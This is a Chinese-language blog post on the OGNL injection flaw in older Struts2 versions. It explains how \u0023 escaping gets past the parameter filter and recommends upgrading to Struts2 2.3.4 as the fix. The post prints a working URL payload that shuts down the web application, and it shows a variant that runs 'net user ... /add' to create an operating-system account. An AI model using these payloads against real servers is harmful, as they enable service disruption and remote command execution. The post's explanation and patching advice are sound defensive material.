struts2低版本遭到惡意訪問漏洞原理及解決辦法

1、原理

Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當我們提交一個http參數:

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
ONGL將它轉換爲:
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。 www.2cto.com

爲了防範篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:

 


此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1 

 


轉義後是這樣:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1

 


OGNL處理時最終的結果就是

java.lang.Runtime.getRuntime().exit(1);  //關閉程序,即將web程序關閉

類似的可以執行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統用戶,在有權限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就可以執行任何DOS命令。

2、解決方法
網上很多文章都介紹了三種解決方法,個人覺得將struts2的jar包更新到最新版本最簡單,不用更改任何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統中主要用到以下幾個替換掉舊版本的:
commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar        (新加包)
ognl-3.0.5.jar            (替換舊版本)
struts2-core-2.3.4.1.jar    (替換舊版本)
xwork-core-2.3.4.1.jar        (替換舊版本)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章